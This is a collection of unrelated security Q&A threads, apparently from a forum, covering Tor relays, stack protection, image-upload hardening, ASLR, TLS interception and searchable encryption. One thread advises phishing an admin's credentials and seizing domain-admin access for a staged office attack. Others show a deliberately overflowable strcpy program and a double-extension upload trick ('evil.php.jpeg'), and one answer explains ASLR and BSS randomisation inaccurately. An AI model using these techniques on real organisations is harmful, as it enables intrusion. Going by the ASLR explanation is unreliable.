Do external harddrives keep track of the computers they're plugged in to? I know that it's possible for a computer to set up logging or auditing, and keep track of what devices are plugged into IT. But do external harddrives keep track of what computers THEY are ever plugged in to? Intentionally, or unintentionally? (Assume they have just been taken out of the box from Best Buy -- specops IT hasn't loaded anything on.)
I'm trying to analyze a Samsung T5 right now but I want to know in general.
If the answer is Yes, or Maybe, should wiping the hard drive get rid of this information, or is it stored DEEP in the drive, somehow? I'm always suspicious of how much "wiping" does, even with a multi-pass algorithm.

In my experience I have never seen any storage devices that does this by themself.
As others in the comments has mentioned: Some information like hours powered on, the number of timed powered on and some other information are stored in the hard drive and are accessible using SMART.
However, many operating systems including Windows, macOS and Android will create files on connected storage devices.
Windows will create a hidden system folder named System Volume Information.
MacOS will create a hidden folder named __MACOSX and perhaps .DS_Store.
Android will create a folder named Android.
Other OSes might create other folders.
Depending on your needs, wiping a hard drive (with physically spinning disks) should be secure enough if totally wiped at once or more, or even destroying it physically should be of help, but even a severely damaged hard drive might still make it possible to retrieve some information from it, so drilling holes, sanding the plate and apply a strong magnetic field to them and dispose of the pieces might be the best thing to do.


How much of a security issue discontinued vendor security patches are on Android? As an example, the original OnePlus One has good LineageOS support, but the vendor security patches were seemingly discontinued three years ago:

What are the security implications and is the vendor dropping support enough of a reason to buy a new phone?

There are two exploits that I've found at https://www.cvedetails.com/vulnerability-list/vendor_id-16630/product_id-38593/Lineageos-Lineageos.html but there may be more 0-days that are unreported.  The device seems to still get Android security updates, which is important as that will be controlling more areas and offer a larger attack surface.

Without knowing your exact situation and the usage of the phone it's hard to say whether it's worth it.  If you are potentially a target or use the phone to hold sensitive data then I would recommend getting a more suitable device, or at least rooting and installing a system that is fully updated.


Tails, relay nodes tracking When I open "network map" on Tails, I see a list of IP addresses with locations. What are these? And it's titled "Relay". Does the government have access to all relay nodes on the TOR network as they are active? If they have a guess of a general location that someone is in can they use this info to track them down (like use data analysis to to get tell which one are they, like when they are active posting on a forum if they want to locate a particular poster and when that relay in TOR is on?)

Everyone has access to the IP address and metadata about all Tor nodes. This is unavoidable. In order for your Tor process to be able to randomly choose nodes, it needs to know a list of nodes in the first place. These nodes, along with their information (their "flags", their capabilities, what they are allowed to do, how fast they are, etc), are public information stored in a file called the consensus. This file is mirrored all around the Tor network, and it is one of the main reasons starting up Tor for the first time can take a while, because you need to download the whole consensus.

This is a short snippet of what the consensus looks like (the full thing is over 36,000 lines, so obviously I won't post it here, but it is public):

w Bandwidth=10700
r Unnamed DSKlNEqBZCDjk4inpj55237koBM 2016-04-03 13:36:16 79.182.174.84 9001 9030
m O9qPgH4mzyAink99kvRfXdq8w6NVtooV+w9zXdhadBU
s Running Stable V2Dir Valid
v Tor 0.2.8.1-alpha
w Bandwidth=12
r csepelisland1 DSuQbBJIrpmIHZgFLvNR8EH6I20 2016-04-04 01:53:33 95.140.42.183 9001 0
m DHNRWHTyCgfbs9Z9g4QYh32CRApgiu11CdnpBzJrcAk
s Exit Fast Running Valid
v Tor 0.2.6.10
w Bandwidth=305
r tyriontornodepw DSycNQERJRfoJnpYZuAYJilAmrQ 2016-04-03 13:40:02 198.98.52.149 9090 0
m yf4cPoG1JoKSMVGwQQduIsedmywjhXhgWL7jQ2LfEjM
s Fast Running Stable Valid
v Tor 0.2.7.6
w Bandwidth=144
r HY100 DT66F+HHjx6ZALq9sjhh1G/K8WM 2016-04-04 03:09:42 178.62.197.82 443 80
m garu8wMlqR6wS3rm96EvsAvNlMIFOBoZWBcEXKeV0QA
s Fast Guard HSDir Running Stable V2Dir Valid
v Tor 0.2.7.6
w Bandwidth=20700
r OnionPi DUYAglyvpTCZp905jvXE9NP8hAc 2016-04-04 05:46:30 75.97.137.234 9001 0
m ghXqzv3gpKRCJ8LtQIe78XccMxf0/p2+/HmwC0LPaSo
s Fast Running Stable Valid
v Tor 0.2.4.27

As you can see, it contains the name, speed, version, flags, and IP address. So yes, you, me, the government, everyone has access to the list of nodes. This does not mean they can control the nodes, just that they know what their IP address is. As soon as a node is suspected compromised, a new version of the consensus is quickly released that blocks that node. Luckily, those events are rare and typically involve very mild issues (an evil exit node involved in petty password theft against people who are foolish enough to put their password into their bank without using the https version of the page).

Note that you are not a relay if you use the Tor network, you are just a client. The government does not have access to the list of people using Tor. You would have to intentionally configure Tor to become a relay for your IP to be listed on the public consensus, otherwise only volunteers who intentionally donate their bandwidth will be listed. So no, the list of Tor IPs does not help the government track people down.


Stack Guard vs Stack Shield I would like to know why nowadays Stack Guard is used everywhere (example: ProPolice in GCC, /GS in Visual Studio), instead of Stack Shield.

Both the approaches (i.e. Stack Guard & Stack Shield) provide an equal level of security.

Any specific advantages of Stack Guard over Stack Shield ?

These technologies are similar in that they are compiler protections. To get protection, an application needs to be recompiled, but the source code does not need to be changed (at least, unless the app does something funky, like self-modifying code)

Stack Guard is based on a "canary" value that is put on the stack with each function call. At the end of the function, the canary is checked. If an overflow has occurred, this will corrupt the canary and will be detected.

Stack Shield is based on copying the return address to a safe area, and checking the return address at the end of the function. If the return address is overwritten, this will no longer match and the attack will be detected.

Because they work differently, they have slightly different security properties. In particular, Stack Guard is better at detecting corruption of things other than the return address. And this is why Stack Guard is more widely used.

This paper is interesting: http://www.coresecurity.com/files/attachments/StackGuard.pdf


How to suspend a silent oberserver from Facebook account? A friend of mine told me about the following problem: She used to login on Facebook on a computer of her boyfriend. After they broke up she recognized that he was able to login to her account from his computer.

Of course she then changed her password, but still he is able to login via any device (smartphone, computer, etc.). She can see that in her active sessions log (though he denies that it was him). He does it as a kind of a silent observation, he wants to know where she is, who she spents time with etc.

She now is not only very angry about her "stolen privacy" but since she doesn't know what else he is capable of doing next..

So my questions basically are:

How is it possible to get access to an account even if the password has changed?
Is it likely that other accounts (email, skype etc.) are compromised as well (even if not used on another computer)?
How to answer this "silent attack", i.e. regain control and completely suspend him from her account(s)? What can you do to block it?

Again, changing the password didn't help!

Any help is appreciated!

(Please correct tags, edit question etc if not clear enough)

One possibility is that her passwords are being synced through the browser. If this is true then even if she changes her password it can be updated on any synced device (convenient for someone who is not in this situation). To remedy this, she will need to change her browser sync settings and password, then change her facebook password (and others) again.

I personally use Firefox and I know the sync settings need to be specially setup, but I believe it is easy to do this even by accident if you are using Chrome, though I may be wrong.


Uploading images safe of XSS, php code and virus I know that my question has been responded lot of times, but most the responses addresses functions that I don't even use (like use include with images) and that makes me worry because maybe I'm not doing something that I should be doing.

When I'm validating the images, I first check for the size (2MB or less) and then check the extension of the file using:

$Extension=explode('.',$Userfile);

if(!in_array(end($Extension),$Whitelist))

Where $Whitelist are the extensions that I allow (only jpg, jpeg and png). After that I use getImageSize to verify that is really an image and if all the 3 conditions are met, then I create a new name for the image, add ".jpg" and then save it in an image folder (I don't know if this is important, but I also create a smaller version of the image to show in the page and if you want to see it in full size, you must click it and see the original image in a new tab).

The only thing I do with these images is show them with img src="" on my website, I never include images (actually I don't even know why some people do this [not criticizing, I'm being serious]) or use fopen and similar functions and the images folder can't execute php code.

Is that enough to not execute php code included in the images?

Is that enough to not execute some html/javascript code in the images? Because I don't want a XSS attack just because I was naive with the pictures and only considered apache executing the php code.

I must do something about possible images with virus? I think the size restriction, add a new name and always make sure to add .jpg at the end of the new name help me to mitigate this, but I'm not really sure.

I'm new with uploaded content and that's why I feel really paranoic about this (and all kind of user inputs... it's like being inside a pyramid where everything is cursed), so I'll really appreciate all the responses.

First of all, you should check your (image) uploads because they can facilitate the exploitation of other bugs (like local file includes). Since there are virtually infinite possible attack vectors you will probably miss something but you should do your best.

Your solution for extension filtering is runtime-dependent: Apache for example will run evil.php.jpeg as a PHP script if the .jpeg extension is not registered in its configuration (this is an exceptional case though). I suggest to filter double extensions and filenames ending in '.'. Recommended read:

http://www.acunetix.com/websitesecurity/upload-forms-threat/

getImageSize() tells you if the uploaded file is really an image although you can place arbitrary content (like attack payloads, PHP or HTML/JS code) in some of the legitimate headers (think PNg comments or EXIF). One can also possibly create a file that is an image and valid in some other format at once. I suggest to resize/transform the uploaded image if possible.
As FakeRainBrigand pointed out,  you should set the file permissions to non-executable to reduce the risk of OS-level execution (also some PHP configurations require scripts to be executable).
Size limiting and renaming are good practices!
I don't really know what you mean by "image with virus". One can exploit bugs in image renderer engines to execute code, and there is not much you can do about that, as detecting this kind of malicious code would require a whole other AntiVirus-like system that would eventually face the Halting problem.


Reality Check: Create chaos at an office An opportunity has arisen for me to perform a "real hacking attack" on a TV show. The target is to attack the TV headquarters and cause as much chaos as possible. The idea is to show how a business needs to improve their security or "really bad things can happen".

Management will be aware of the attack and all the corresponding legal documents will be signed and approved beforehand. Other employees will have no idea.

There will be a camera recording on the attacked office (hidden, so employees don't become suspicious), and another one recording "the attacker".

Some things can be "faked" for dramatic effect, but we want to show what a real attack looks like. There will be a "pawnage day" where at 12:00 AM the attack will take place

I have 2 months to prepare this. I have had prior experience of penetration testing, mostly web-apps and wi-fi. No direct experience with malware or phishing at all, but I know the theory.

I have thought about what attacks to show and perform:

Prior to "pawnage day":

Send a phishing campaign with an attached excel document with malware
Use LinkedIn to find the name of the CEO and send the phishing emails
spoofing his email account for credibility
Use social engineering and infiltrate as a "repairman". Stuck "evil
USB's" everywhere. All this while wearing a hidden camera.

During "pawnage day" attack:

Machines infected with malware from the phishing campaign will lock the screen with a humorous message
Machines infected with malware from the evil USB's will lock the screen with a different humorous message
A "mail bomber" will fill the inboxes of everyone
A "skype bomber" will call everyone in the office at the same time
Strong DDOS of the website

My questions are as follows:

Which other attacks can I perform that are "visual" for a TV show?
Any suggestion on the implementation of the attacks?
Is it realistic? As professionals and experts, what would you like to
see?

Remember that the intention is educational for the broad public, but should not show made up stuff that would alarm seasoned InfoSec professionals.

Searching Linkedin for the CEO email is not needed at all, why not just ask management? If they signed the papers, they will be willing to help you. And you should send mails as the support or HR, the CEO usually don't mail the employees.

Filling mailboxes and locking the computers does the same harm as just locking the computer. No need to do that.

You don't need BadUSB (and should not use it) to lock computers, accessing the Domain Controller as domain admin is enough. And people will be suspicious if they see the "repairman" inserting an USB drive on every computer in the office. In the 2 months, phish an admin and grab the credentials.

DDoS at the website does not look good on TV and is not "real hacking."

Locking the computers, ringing every phone, controling IoT lamps and printing messages will be better on TV.


ASLR Randomization BSS Here is some code:

#include <stdio.h>
#include <string.h>

char globalbuf[256];

void function(char *argv) {
   char localbuf[256];
   strcpy(localbuf, argv);
   strcpy(globalbuf, localbuf);
   printf("localbuf addr: %p globalbuf addr: %p\n", localbuf, globalbuf);
}

int main(int argc, char **argv) {
   function(argv[1]);
   return 0;
}

I was examining ASLR and how it works. Some more information about OS and compiler

gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2
Linux 3.5.0-32-generic #53-Ubuntu SMP x86_64 x86_64 x86_64 GNU/Linux

So when I execute this code, I see a constantly changing localbuf address. Which is perfectly fine as I know ASLR is enabled and set to Full Randomized mode. But the globalbuf address always remains the same. I know that uninitialized global and static variables are part of BSS section; and therefore I assume that BSS, Text and Data sections are not being randomized by ASLR.

Is this correct? If not I link towards a
paper. Page 2, last paragraph refers to what I am suggesting here.

As I understand, that every process has its own stack, heap, text, bss and data sections/areas, so everytime a process is spawned, a random address is allocated to the base pointer and everything else is just an offset from it. If thats the case, what is being printed for globalbuf, Is it the offset?. How can I find the actual address of globalbuf?

The globalbuf variable is an uninitialised static variable, so its virtual address is not randomised.

  I know that uninitialized global and static variables are part of BSS section; and therefore I assume that BSS, Text and Data sections are not being randomized by ASLR.

The BSS section is not randomised because it is marked as uninitialised data. This is a flag that is set on the section header in the executable file. The data in this section is static, and will always have the same address every time you run the application. The unchanging pointer value you see is the virtual address of the globalbuf variable.

The text and data sections are randomised (if the application is compiled as position independent with -fPIE), because they are marked as code segment (CS) and data segment (DS) respectively. Note that code and data segments have special meaning in x86, and their base addresses are populated into the CS and DS segment registers. This is why you'll often see references like dword ptr ds:[05012340] and dword ptr cs:[00410000] in assembly - the former is an address inside the data segment (DS), and the latter is an address inside the code segment (CS). Since these are important sections, their base addresses are randomised (i.e. equally offset from a base address).


How to send HTTPrequest anonymously I want to send a HTTPrequest to a specific web address, but with different IP address. For example, if a webserver detect IP address, then add it to a database. If another request come from a IP, which is in the DB server, ignore it.

What I'm asking is, how can I send HTTPrequest, but without server identifying me as a same person? I heard about proxies, but I think even if I use a proxy, proxy also have an IP address, so I can send only one valid request through the proxy, am I correct?

If so, how can I send HTTPrequest without server knowing it is me?

Note: I don't want server response. I only want to send the request. I am running Windows 8.1.

There's a number of ways that you could achieve this

As @raz says in comments use Tor.  The Tor network is designed to anonymise Internet traffic so this would fit your bill quite well.  Using something like Tails OS could be an easy way to get started for you in that line.
As @zviad-gabroshvili says use a proxy.  there are a wide range of proxy services on the Internet.
There are various services that will contact a URL as part of their operation (e.g. search engines).  If you put a link on a page that gets indexed, it's likely that the web search crawler will, in effect, send a request to your target anonymously (well in a way that wouldn't tie back to you directly)


Can I store government ID numbers according to the PCI DSS? I am developing a service, a part of which stores the credit card data of it's users. According to the Israeli credit card companies' requirements my users need to present their government ID number when making a transaction.

The PCI Standard prohibits the storage of CVV and credit card PIN numbers, because of information security reasons.

My question is, can I be sure that storing my users' government ID numbers is not against the PCI standard, since it serves almost the same purpose as a CVV or a PIN number - to verify the credit card holder?

PCIDSS publishes how you store payment card data. A government Id is not covered.

However it probably is personally identifiable information and should still be handled with care.

The full set of requirements is buried in a pdf

https://www.pcisecuritystandards.org/document_library?category=pcidss&document=pci_dss

But basically you have to encrypt the card number, and you cannot retain the CVV2 / PIN or any of the data you might read from a card (but that you can't see by looking at it)

Everything else is allowed to be stored unencrypted.


How to detect the NSA MITM attack on SSL? As Bruce Schneider reported here...

https://www.schneier.com/blog/archives/2013/09/new_nsa_leak_sh.html

...the NSA reportedly performed a MITM attack on a company in brazil and decrypted their SSL traffic by compromising their router. The commenters also mention a similar attack against the DigiNotar CA a while ago.

My question is, in either case, would the SHA1 thumbprint of the SSL certificate have been changed by the MITM attack? Theoretically, if someone was paying attention and saw that the thumbprint was different, they could have known they were being spied upon, right?

and decrypted their SSL traffic by compromising a backbone router

No, that's wrong (but it doesn't impact the rest of the question). According to that claim, the NSA compromised a router that belonged to the target (not that it really matters). More importantly, compromising the router did not help the NSA decrypt the SSL traffic: all it did was allow the NSA to perform a man-in-the-middle attack on the encrypted-and-signed stream. If all the aspects of SSL had held, that attack would have been detected and the NSA would not have been able to decrypt legitimate traffic.

The decisive part of the attack was that the NSA could craft a fake certificate for Google. An SSL certificate roughly contains the following parts:

A description of who the certificate belongs to (Google)
The public key of that entity
A description of who vouches for the certificate (the CA)
Some mathematical magic that ensures that only the holder of the private key of the CA could create that certificate

It appears that the NSA knew the private key of the CA, hence they could create a certificate containing a different public key, which corresponded to a private key created by the NSA instead of the private key held by Google.

Since the fake certificate is different from the genuine one, it has a different fingerprint. (Note that this may not be the case for MD5 fingerprints: MD5's collision resistance is sufficiently broken to allow the creation of two certificates with the same fingerprint — but not to craft a certificate with the same fingerprint as an existing certificate. But no such vulnerability is known for SHA-1.) Therefore if you detect that the certificate's SHA-1 fingerprint is wrong, you know you are being actively man-in-the-middled.

This is of limited practical importance, because you have to be able to retrieve that SHA-1 value reliably somehow. Where are you going to find a trustworthy connection to retrieve these fingerprints?

Spreading the verification across several parties
is one way to resist the compromise of a small number of CAs while allowing browsing hitherto-unknown sites.


Does SQL have any inherant weaknesses? A prof said that SQL injection is misnamed because it actually occurs from the program generating the SQL (e.g. Perl, PHP etc.) and I'm wondering is SQL "complex" enough to have any vulnerabilities that are actually it's fault?

SQL has the same vulnerability than all other dynamically interpreted programming languages (this includes shell scripts, Javascript, PHP...), which I call "data is code". Such languages have a concrete syntax which is meant for human consumption ("select * from users where...": words and signs which the human brain grasps). Their processing entails a first step which is called parsing: the sequence of characters is broken down into an internal structure which describes the meaning of the expression, in a way which the computer can use efficiently. Parsing is a well-known subject but even if algorithms for it have been known for decades, it is still relatively complex for the human programmer.

When a language is dynamically interpreted, it makes it seductively easy to build the expression from dynamically obtained parameters. E.g. "select * from users where id = $paramIdFromWebForm;". SQL injection vulnerabilities hide there. The problem is fundamental: by building the expression in the concrete syntax, the programmer is doing an ad hoc reversal of the parsing. To make such things robust, the programmer must master all of the subtle ways by which parsing operates; he must think of every dark corner of the language specification. Many programmers think of it in terms of "must escape dangerous characters", and work on the assumption that the few dangerous characters they could think of indeed represent all the "dangerous characters" that could ever exist. This leaves the door open to a lot of issues, in particular when the Web site developer, his programming framework, and the database behind it, do not fully agree on what a "dangerous character" is, and such problems are prone to happen for a lot of reasons, including simple software updates.

See for instance this question for an example of the kind of things which is not captured by the "character escaping" mental framework. Whenever I see the functions mysql_escape_string() and mysql_real_escape_string(), my eyes bleed, and I wonder if there is not somewhere a function called mysql_really_escape_string_this_time_I_said_please().

Nonetheless, there is a proper way to build SQL expressions dynamically without getting into the "data is code" issues: parametrized expressions. This is about working with the abstract representation of the SQL code, the one after parsing. When we use parametrized expressions, we do not try to reverse the parsing step, and security is much enhanced (and it is good for performance, too).

So it is not really SQL's fault; the programmer is still to blame, for not using the right solutions which exist and are documented. We may still consider that SQL designers, and, in particular, the people who integrated SQL in PHP, should have made some effort to make dynamic SQL expression building a bit harder when parametrization is not used. For a better language design (with regards to this specific issue), see LINQ: it keeps the syntax where it belongs, i.e. in the source code, not in runtime-interpreted character strings.


8 extra bytes in stack i am new to buffer overflow and learning from securitytube.net website but in 7th video i got stucked Buffer Overflow Primer Part 7 (Exploiting A Program Demo)

In this when the value of egg is passed through the vulnerable program on one point 80 bytes are loaded on the stack but mine computer is loading 88 bytes due to which i am not able to smash the stack.

I have faced the same problem with the shellcoder's handbook second edition page 33 topic the address problem and nop method. iam using kali linux 32 bit and have disabled the ASLR but still its not working can anyone give me some direction??

Do you have buffer overflow protection enabled by default? What you are describing sounds like a canary value on your stack.


How secure is the Ciphersweet library for searchable encryption, and why is a duplicate entry leak not a problem? I'm currently managing a code base in which we've got a mysql database with all records encrypted using the php-encryption library. This works well for our current setup. We now got a new business requirement that should make it possible to do a SELECT based on one of the encrypted fields.

Since it is impossible to select based on the encrypted values, I searched around and found ciphersweet. It's a new (6 months old) repo with currently only 136 github stars. I've read through a blogpost about it written by the company behind the lib.

The idea is based on blind indexing in which the general idea is to store a keyed hash (e.g. HMAC) of the plaintext in a separate column. The blind index key should be distinct from the encryption key and unknown to the database server.

As far as I understand (but I could be wrong here) the value for which I need to search is hashed using the index key which is static per column. The resulting value is searched for in the HMAC column. When a record is  found, the encrypted value is then decrypted.

They describe that it does have a duplicate entry leak, meaning that if all records are obtained it can be known which records have the same value, but not what that value is.

I understand the concepts and it sounds ok, but since I'm not a cryptographic expert I can't really judge it's secureness. Isn't it somehow possible to use this duplicate entry leak to do some other attack? I've always learned (=read on the internet) that encryption should always include a IV/Nonce/Salt to make rainbow tables impossible. I guess the usage of the static index key per column prevents these rainbow tables though.

Basically I've got the feeling I'm missing something here. Why is the duplicate entry leak not a problem all of a sudden? Is there anybody else out there who can comment on this library/technology?

Important Disclaimer: I wrote CipherSweet for my employer. Everything that follows should be taken with a grain of salt unless otherwise verified by third party security experts. Even if this answer gets a lot of votes, it must never be accepted. I'm merely attempting to answer some of the basic questions about CipherSweet's design, not answer whether or not it's secure. Trust others instead.

The security model of CipherSweet is essentially a time-memory trade off, which introduces the risk of attacks that are more similar to a crossword puzzle than traditional cryptanalysis techniques (hence, we simply refer to them as "crossword puzzle attacks", although the more formal term "partially-known plaintext attacks" is more likely to find relevant hits in the academic literature).

In this respect, CipherSweet's overall design can be secure, but only if care is taken in designing the blind indexes in your application. There are a few considerations:

How many bits of each blind index will you store?

Fewer bits increases the chances of collisions on a given SELECT query, which means more false positives to filter out after decryption.
However, fewer bits also decreases the usefulness of a blind index.

How many blind indexes will you create for a given encrypted column?

The more indexes you create, the more metadata you risk leaking to attackers.

Of course, the security of this design is only worth talking about if a few other assumptions hold true:

Each blind index has a distinct key.
The hash function (or KDF) used to turn the plaintext into a blind index is adequately secure (e.g. in the random oracle model).
The encryption itself is secure (e.g. AEAD with a security level in excess of 127 bits against all known practical attacks).

To understand how these assumptions are answered, take a read through the CipherSweet internals documentation. But in short, the answers are:

CipherSweet uses distinct per-field and per-index keys, derived from a master key.
As of November 2018, HMAC-SHA384 and BLAKE2b remain unbroken.
As of November 2018, AES-CTR + HMAC-SHA2 and XChaCha20-Poly1305 remain unbroken.

So with that said, the unanswered question is: How do we determine an unsafe level of information leakage?

Obviously, creating a distinct blind index $plaintext[0], $plaintext[1], ... would leak entire plaintexts from the indices.

You wouldn't need to break the encryption in this case. Just study patterns and commit dummy entries and treat it as a very inefficient substitution cipher.

Conversely, a single literal blind index of the entire plaintext, truncated to 16 bits, would almost certainly not leak anything useful for attackers.

Given a sufficiently large dataset, collisions would be very common.
Of course, this almost defeats the purpose of even creating a blind index.

Furthermore, CipherSweet allows you to create compound blind indexes. For example, you could hash together:

The first initial of the person's first name (if applicable)
The first initial of the person's last name (if applicable)
The last 4 digits of the person's social security number
A single letter identifying their sex/gender (if applicable)

This greatly increases the keyspace of possible plaintexts for a given blind index, even if the keyspace of each individual input is limited. This is especially useful for encrypting/searching with boolean fields.

Given all of the above, I don't know if you'll be able to obtain a sufficient answer about whether or not to trust CipherSweet on this website. The unanswered questions aren't exactly straightforward to answer, and will require an in-depth analysis.

That being said: It is certainly possible to misuse CipherSweet in a way that undermines its security goals. It's a tool.

I believe that, unless some deep flaw is discovered in the protocol design, it SHOULD be possible to use CipherSweet securely. And even if it is secure, you will almost certainly want a security expert to double-check how you use it.


Suggestions on easy distribution/installation of self signed certificates & roots to mobile devices Suggestions on easy distribution/installation of self signed certificates & roots to mobile devices

I am a developer at a government agency in a developing country that has a web application with a number of web-forms for data entry through which customers can submit "electronic forms" to the agency.

For legal purposes, the forms have to be digitally signed when submitted to be considered valid. This is accomplished at the moment via a client side Digital Certificate installed in the customers PC's browser. If forms are not digitally signed then alternatively customers have to submit the forms manually with a physical signature.

The web application at the moment has ActiveX controls that restricts it to only be capable of running on Internet Explorer browsers. They however want to upgrade it to a HTML5/Javascript application that can work on ios and android mobile devices.

Funds are short so they have a open source Certificate Authority through which they generate self signed certificates and email them to customers for installation in the customers browsers on PC's.

The distribution and installation of certificates on PC's right now however is a real hassle at times, involving many emails and phone calls as the customers are not very technically adept beyond typical word processing and excel usage - which is perfectly understandable but presents a support challenge. Then from what I have read, getting client side digital certificates installed in mobile devices is even harder...involving the installation in a keystore.

Are there any suggestions on an easy and low hassle way for the digital certificates to be installed to end customers with mobile devices. I am looking for technical suggestions to reduce the effort for end customers (e.g. just click on a link)...which I know may increase the necessary infrastructure or programming effort on the issuing end to accomplish all of that seamlessly.

I am also aware that different devices/operating systems may need custom methods (i.e. one method for android, and another for ios).

Any suggestions would be most welcome.

Your options are limited but, as I see it, you do have some possibilities.

Install the certificate for the users.  On the day they come in to do the training - or when they're next in the office - you borrow their phone for 5 minutes and install the certificate for them.
You write very clear instruction on how to install a certificate.  On Android it's not that hard to install so you should be able to write a single page document which shows them how to do it.
Write an App which is simply a web-view with the certificate pre-installed.
Use a certificate installer app - like https://play.google.com/store/apps/details?id=it.nicola_amatucci.android.certificate_installer

My preferred option will be #1 - that way you can check the phone is suitable, run a virus check on it, and ensure that everything is set up properly.


Do bad passwords produce bad salted hashes? When you have a password stored in a database that has been strongly hashed and salted does it really matter if the underlying user password is weak?

If you setup features like limiting login guessing and use captchas to stop automated guessing can you effectively make up for a weak password such as "password"?

I guess my question is does using a password like "password" make the salted hash any weaker than using a longer password such as "fish&*n0d1cTionaRYatt@ck"? - Are all salted hashes equally as secure or does it depend upon the password being a good one?

Salted hashes are designed to protect against attackers being able to attack multiple hashes simultaneously or build rainbow tables of pre-calculated hash values.  That is all.  They do nothing to improve the underlying strength of the password itself, weak or strong.

This also means that they're not designed to defend against online attacks, so they have no impact on an attackers ability to manipulate your login form, where the salt is irrelevant, because an attacker isn't computing hashes directly, but entering candidate passwords into a form that may be (as you said) rate limited or protected by a captcha.

Weak passwords are weak.  Strong passwords are strong.  Salts don't affect this equation in any way.


Where to download OpenBSD release ISO's over HTTPS? OpenBSD claims to be highly secure.  So why doesn't it allow downloading the release iso's over HTTPS? Or I'm missing something? Can someone please explain this to me?

There is a file called SHA256 which contains the checksums. Technically you only need that file to be transmitted securely; you could get the ISO through any mean, and just verify the checksum. This would be as good as getting the whole file through HTTPS.

The OpenBSD people do not seem to maintain a public HTTPS web site with a copy of the SHA256 file. Also, HTTPS is as secure as the X.509 PKI model allows for, and OpenBSD folks seem to be somewhat queasy with regards to X.509 and the preinstalled CA in Web browsers (which is quite understandable); they seem to prefer the OpenPGP model. I think that in older days, the announcement for a new OpenBSD release was a PGP-signed email (sent to various places, including Usenet), which contained the digest for the main ISO -- thus realizing full ISO integrity relatively to a PGP public key. But I am not sure they are still doing that.

Otherwise you can order a physical, tangible CD set (or DVD). They are not expensive.


Tor and sniffing data If I'm not mistaken, Tor works opening a random anonymous path between two hosts using others computers that have Tor installed no?
Then... everybody can sniff the data of the others no? Just wait with the sniffer enabled and wait that Tor choose you as a node of someone's connection.
What others alternatives exist for hide a connection? No proxy.

Not really,
The only who can sniff data is the last node between the three. And even then, it can't tell who this data belongs to unless this data contains identifying information.
The reason the others can't sniff is that Tor uses onion routing, as its name suggests. That is, when you send a request to a certain server, and suppose it's going to pass through nodes A, B and C, the message is first encrypted using C's public key, this encrypted message is encrypted with B's key, and this double encrypted message is further encrypted using A's key, then transmitted to A, and as each node receives it, it unlocks its own layer of encryption, and passing it along, without being able to know what's further inside.


Easiest solution for automatic encryption of files on Dropbox? I don't trust Dropbox to keep my files secure.  In fact, the same goes for all the other file clouds.  What I'd like is a easy and cross platform means of encrypting files that I add and read from Dropbox.  I'd love to be able to use Dropbox as if I'm mounting an encrypted partition.  In other words, so I don't need to unencrypt a file to open it, or grep through it.  And when I add or edit a file, it is automatically encrypted before being saved to Dropbox's server.

There is tool by Stefan Küng called CryptSync that does almost exactly what you are describing there. You can find it here.

The developer is the same trusted developer who created the hugely popular SVN client "TortoiseSVN" and many other tools, so I would have no problem trusting it. I think the tool uses the 7z implementation of AES encryption.

From what I can see the current downloadable client is for the Windows platform only but the source code is open source and written in C±± (cross platform portability) so you can modify it as needed and compile it on your own.

Edit: I recently also discovered Boxcryptor which is cross platform but not open source or free (quite expensive in fact).


Is it possible to intercept HTTPS payload with a trusted CA but send it the wrong server? I have a CA generate a cert and private key for my server. My server, however, does not have a domain name and its IP is dynamic and never static therefore validation of the host name must be ignored on the clientside. I know this is not true and traditional HTTPS, let's just say for argument this has to occur.

I have a client that tries to send my server a payload over HTTPS post. During the handshake, I check the CA of the server and proceed to send the payload if it validates. I don't care if the server rejects the request or not, the client just fires and forgets once handshaked. The client rejects ALL CAs except the one trusted CA.

Is it possible for someone to see the payload the client sends in this scenario besides my server? Say for example I send the request to an IP over HTTPS thinking it is the server I want, but it's actually someone malicious. Is there anyway they can spoof or pretend to be the actual server and accept the request in order to look at the payload of the POST? In order to get the payload, they have to be able to say "I am the server and have a cert signed by the CA you trust" is my understanding. But how can you do that unless you have both the server's cert and the CA? Where does the private key of the server's cert factor in?

If yes, what if I use a CA only the server and client know about like a self signing authority? Does that change anything, if not why?

There are several scenarios that make it possible to intercept that connection:

Your validation code is not actually validating correctly in which case another CA might sign certificates that are deemed valid by your code.
Your CA's private key gets leaked, lost or otherwise compromised (for example because it gets factorized) in which case anyone in possession of the key can sign themselves a certificate that is deemed valid by your code.
same thing (compromised key) for your actual certificate.
Your CA might not be under your control completely (i.e. not your own CA) in which case any certificate signed by that CA (for example, any TLS certificate for any domain, if your CA is a provider of domain TLS certificates (like, for example, let's encrypt)) is deemed valid by your code.

To mitigate the last possibility, you could use a self signed certificate authority that you explicitly trust in your client application, but this comes with the usual caveats of that, i.e. understanding what you're doing and keeping the CA itself safe.

  But how can you do that unless you have both the server's cert and the CA? Where does the private key of the server's cert factor in?

This question does suggest that you are not actually understanding how a PKI or TLS works and thus that hosting your own CA might come with an increased security risk.

The general idea is that the CA is not on the same machine that the certificate is deployed on - please do read up on PKI, TLS, certificate pinning and trust chains before you proceed employing your own CA.


google states connection is encrypted. Should I change that? "The connection to www.google.com is encrypted using RC4_128 with SHA1 for message authentication and ECDHE_RSA as the key exchange mechanism". This is on my google search bar. Is that o.k.?

What this means is that when you send a search query to Google, the query and the response will travel between your machine and Google's server under the protection of SSL/TLS, the well-known security protocol which is the basis for HTTPS (you know, the URL which result in that padlock icon to appear). In this particular case, the cipher suite will be TLS_ECDHE_RSA_WITH_RC4_128_SHA, as specified in this standard.

That's fine. Don't worry about it. If some evil people are interested in knowing what terms you search for, and try to spy on the network between your house and Google's machines, then they won't be able to get useful data. (Of course, Google itself will know everything, since SSL is only for transport, between two machines; but that's Google. Resistance to Google is futile.)


Is it possible to use SSH agent for generic data encryption? Is it possible to use running SSH agent to decrypt some data (supplied as a string or read from file)?

No, it is not at least with OpenSSH -- there are no options to operate in this mode.  It is for authenticating with remote servers (validating identity) and then encrypting the network traffic between ssh client application and the remote sshd server.

You could try compiling a library from OpenSSH that uses its encryption modes and create an executable based on that to use encryption, but the authors of OpenSSH did not try to do that.   Here's a github repo that took openssh and tried converting it into a library that other applications can use.

